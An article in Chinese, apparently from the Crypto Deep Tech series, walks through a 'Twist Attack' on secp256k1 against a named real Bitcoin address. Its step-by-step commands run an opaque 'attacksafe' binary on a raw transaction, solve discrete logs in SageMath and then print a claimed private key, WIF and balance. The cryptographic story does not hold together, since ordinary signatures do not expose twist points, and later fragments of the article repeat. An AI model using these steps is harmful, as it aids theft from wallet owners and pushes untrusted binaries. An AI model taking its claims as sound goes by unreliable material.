Twist Attack 示例 #1 執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

不久前，用於標準橢圓曲線的elliptic (6.5.4)包容易受到各種攻擊，其中之一就是Twist Attack。密碼問題出在 secp256k1 的實現中。我們知道比特幣加密貨幣使用的是secp256k1，這次攻擊並沒有繞過比特幣，根據CVE-2020-28498漏洞，ECDSA算法交易的確認方通過secp256k1橢圓曲線上的某些點傳輸部分私鑰值（由 5 到 45 位組成的更簡單的子群）
稱為六位扭曲這個過程非常危險，它會在執行一系列 ECC 操作後洩露加密數據。

在本文中，我們將通過示例實施扭曲攻擊，並展示如何使用 secp256k1 橢圓曲線上的某些點，我們可以獲得部分私鑰值並使用“Sagemath pollard rho”在 5-15 分鐘內恢復比特幣錢包函數：(discrete_log_rho) ”和“中國剩餘定理”。

換句話說，這些特定點是 secp256k1 橢圓曲線上的惡意選擇點

根據 Paulo Barreto 的推文：https://twitter.com/pbarreto/status/825703772382908416 ?s=21

餘因子為3^213^23319*22639

E1: 20412485227
E2: 3319, 22639
E3: 109903, 12977017, 383229727
E4: 18979
E6: 10903, 5290657, 10833080827, 22921299619447

prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827 * 22921299619447

38597363079105398474523661669562635951234135017402074565436668291433169282997 = 3 * 13^2 * 3319 * 22639 * 1013176677300131846900870239606035638738100997248092069256697437031

HEX:0x55555555555555555555555555555555C1C5B65DC59275416AB9E07B0FEDE7B5

在運行Twist Attack時，可以通過對“公鑰”（secp256k1 橢圓曲線的選定點）進行一定的選擇來獲得“私鑰”，即揭示交易中的價值。之後，關於私鑰的信息也會被洩露，但是為此你需要執行幾個 ECC 操作。

E1: y^2 = x^3 + 1
E2: y^2 = x^3 + 2
E3: y^2 = x^3 + 3
E4: y^2 = x^3 + 4
E6: y^2 = x^3 + 6

y² = x³ + ax + b. In the Koblitz curve,
y² = x³ + 0x + 7. In the Koblitz curve,
0  = x³ + 0  + 7
b '= -x ^ 3 - ax.

所有點都(x, 0) 落在無效曲線上 b '= -x ^ 3 - ax

讓我們繼續進行實驗部分：

(Рассмотрим Биткоин Адрес)

1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq

(Теперь рассмотрим критический уязвимые транзакции)

https://btc1.trezor.io/tx/d76a7daa4c5f67a2b553df96834845e4bf469a9806b3de1d89e107301230e731

打開 [TerminalGoogleColab]。

使用我們的18TwistAttack存儲庫實施Twist Attack算法

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/18TwistAttack/

ls

安裝我們需要的所有包

requirements.txt

sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt

為攻擊準備 RawTX

1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq

https://btc1.trezor.io/tx/d76a7daa4c5f67a2b553df96834845e4bf469a9806b3de1d89e107301230e731

RawTX = 0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

保存在文件中：RawTX.txt

為了實施攻擊，我們將使用“ATTACKSAFE SOFTWARE”軟件

訪問權限：

chmod +x attacksafe

應用：

./attacksafe -help

  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

./attacksafe -version

"ATTACKSAFE SOFTWARE" 包括對比特幣的所有流行攻擊。

讓我們列出所有攻擊：

./attacksafe -list

讓我們選擇 -tool: twist_attack

為了從易受攻擊的 ECDSA 簽名交易中獲取特定的 secp256k1 點，我們將數據添加 RawTX 到文本文檔中並將其保存為文件 RawTX.txt

0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

`-tool twist_attack` 使用軟件啟動 `“ATTACKSAFE SOFTWARE”`

./attacksafe -tool twist_attack -open RawTX.txt -save SecretPoints.txt

我們發起了這次攻擊 -tool twist_attack 並將結果保存到一個文件中 SecretPoints.txt

現在看到成功的結果，打開文件 SecretPoints.txt

cat SecretPoints.txt

結果：

Elliptic Curve Secret Points:

Q11 = E1([34618671789393965854613640290360235391647615481000045539933705415932995630501, 99667531170720247708472095466452031806107030061686920872303526306525502090483])
Q21 = E2([68702062392910446859944685018576437177285905222869560568664822150761686878291, 78930926874118321017229422673239275133078679240453338682049329315217408793256])
Q22 = E2([36187226669165513276610993963284034580749604088670076857796544959800936658648, 78047996896912977465701149036258546447875229540566494608083363212907320694556])
Q31 = E3([14202326166782503089885498550308551381051624037047010679115490407616052746319, 30141335236272151189582083030021707964727207106390862186771517460219968539461])
Q32 = E3([92652014076758100644785068345546545590717837495536733539625902385181839840915, 110864801034380605661536039273640968489603707115084229873394641092410549997600])
Q33 = E3([13733962489803830542904605575055556603039713775204829607439941608751927073977, 70664870695578622971339822919870548708506276012055865037147804103600164648175])
Q41 = E4([46717592694718488699519343483827728052018707080103013431011626167943885955457, 6469304805650436779501027074909634426373884406581114581098958955015476304831])
Q61 = E6([47561520942485905499349109889401345889145902913672896164353162929760278620178, 23509073020931558264499314846549082835888014703370452565866789873039982616042])
Q62 = E6([54160295444050675202099928029758489687871616334443609215013972520342661686310, 61948858375012652103923933825519305763658240249902247802977736768072021476029])
Q63 = E6([80766121303237997819855855617475110324697780810565482439175845706674419107782, 43455623036669369134087288965186672649514660807369135243341314597351364060230])
Q64 = E6([27687597533944257266141093122549631098147853637408570994849207294960615279263, 8473112666362672787600475720236754473089370067288223871796416412432107486062])


RawTX = 0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

現在讓我們添加收到的 secp256k1 點

為此，打開Python-script: discrete.py

運行Python-script: discrete.py安裝SageMath

安裝命令：

sudo apt-get update
sudo apt-get install -y python3-gmpy2
yes '' | sudo env DEBIAN_FRONTEND=noninteractive apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" install sagemath

通過命令檢查SageMath的安裝：sage -v

要求解離散對數，(Pollard's rho algorithm for logarithms)請運行Python-script: discrete.py

運行命令：

sage -python3 discrete.py

結果：

Discrete_log_rho:
5663673254
229
19231
43549
11713353
47161820
13016
6068
1461826
5248038982
9034433903442

PRIVATE KEY:
4843137891892877119728403798088723017104154997204069979961743654961499092503

privkey = crt([x11, x21, x22, x31, x32, x33, x41, x61, x62, x63, x64], [ord11, ord21, ord22, ord31, ord32, ord33, ord41, ord61, ord62, ord63, ord64])

我們解決了離散對數並使用“中國剩餘定理 (Chinese remainder theorem)”得到了十進制格式的私鑰。

將私鑰轉換為 HEX 格式

私鑰的十進制格式已保存到文件中： privkey.txt

運行 Python 腳本：privkey2hex.py

python3 privkey2hex.py
cat privkey2hex.txt

讓我們打開生成的文件： privkey2hex.txt

十六進制格式的私鑰：

PrivKey = 0ab51e7092866dadf86165ea0d70beb69086237a0e7f5a123d496d3d98e03617

讓我們打開 bitaddress 並檢查：

ADDR: 1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq
WIF:  KwaXPrvbWF5USy3GCh453UDGWXnBSroiKKtE6ebtmHHxGKaRmVD6
HEX:  0AB51E7092866DADF86165EA0D70BEB69086237A0E7F5A123D496D3D98E03617

https://live.blockcypher.com/widget/btc/1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq/received/

https://live.blockcypher.com/btc/address/1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq/

BALANCE: $ 775.77

來源

攻擊安全軟件

電報：https://t.me/cryptodeeptech

視頻素材：https://youtu.be/S_ZUcM2cD8I

資料來源：https://cryptodeep.ru/twist-attack

密碼分析

Crypto Deep Tech

如何將區塊鏈交易解析到 Google 雲端硬盤文件夾

https://www.youtube.com/embed/ECAPypsmMQs 在本文中，我們將分析比特幣交易並學習如何從區塊鍊網絡快速解析 RawTX 到 Google Drive 文件夾，所有這些將幫助我們更好地了解比特幣交易的工作原理以及區塊鍊網絡上的所有內容。首先，我們需要知道所有的比特幣交易都存儲在 [txid] 中。 txid 是存儲在比特幣區塊鏈上的交易 ID，RawTX 以雙哈希的形式存儲。這意味著 RawTX 兩次通過 SHA256 算法以獲得我們在區塊鏈上看到的交易哈希。例如，具有此哈希的事務： d76641afb4d0cc648a2f74db09f86ea264498341c49434a933ba8eef9352ab6f 比特幣區塊鏈上的交易以雙哈希的形式存儲： SHA256(SHA256(0100000001f2068914e2fea859cacd8df990daf4008f11296b3cb953794051147a265d850a000000008b483045022043784344e1e0cb498c1d73b4cee970fb0f9adf38b7891d0b1310fdb9cbc23929022100a734f4e97a05bd169a9f0eb296fc841fa57f8753db09869f8f6f8cc1232616d4014104d6597d465408e6e11264c116dd98b539740e802dc756d7eb88741696e20dfe7d3588695d2e7ad23cbf0aa056d42afada63036d66a1d9b97070dd6bc0c87ceb0dffffffff0100b864d9450000001976a9142df31a60b02cce392822c9a87198753578ef7de888ac00000000) = d76641afb4d0cc648a2f74db09f86ea264498341c49434a933ba8eef9352ab6f 要獲取 RawTX，我們只需要輸入交易 ID [txid]， https://blockchain.info/rawtx/[txid]?format=hex 此外，我們將收到 HEX 格式的信息，這是我們珍愛的 RawTX。 https://blockchain.info/rawtx/d76641afb4d0cc648a2f74db09f86ea264498341c49434a933ba8eef9352ab6f?format=hex 但正如我們所知，一個比特幣地址中可能有很多交易 [txid]，這是主要問題，它需要花費大量時間來查找、加載我們的 PC 並佔用大量磁盤空間。要解決此問題，只需使用 API 網站 https://chain.so/api/ 因此，我們在 bash 腳本中指定一個比特幣地址： getrawtx.sh «address» 然後我們提取整個先前的輸出哈希值——所有輸入都參考輸出 (UTXO) UTXO 是將用於新輸入的（未花費的交易輸出）。其哈希值 UTXO 倒序存儲。結果，所有未花費的交易輸出將存儲在一個文件中： «RawTX.json» 要獲取 RawTX 比特幣地址，請使用 Bash 腳本：getrawtx.sh 在 Google Drive 中解析區塊鏈如何解析到 Google Drive 文件夾？為此，您可以使用 Google Colab…

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Twist Attack 示例 #1 執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

餘因子為3^213^23319*22639

讓我們繼續進行實驗部分：

安裝我們需要的所有包

為攻擊準備 RawTX

保存在文件中：RawTX.txt

訪問權限：

應用：

讓我們列出所有攻擊：

`-tool twist_attack` 使用軟件啟動 `“ATTACKSAFE SOFTWARE”`

結果：

現在讓我們添加收到的 secp256k1 點

安裝命令：

通過命令檢查SageMath的安裝：sage -v

運行命令：

結果：

將私鑰轉換為 HEX 格式

運行 Python 腳本：privkey2hex.py

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讓我們繼續進行實驗部分：

安裝我們需要的所有包

為攻擊準備 RawTX

保存在文件中：RawTX.txt

訪問權限：

應用：

讓我們列出所有攻擊：

-tool twist_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”

結果：

現在讓我們添加收到的 secp256k1 點

安裝命令：

通過命令檢查SageMath的安裝：sage -v

運行命令：

結果：

將私鑰轉換為 HEX 格式

運行 Python 腳本：privkey2hex.py

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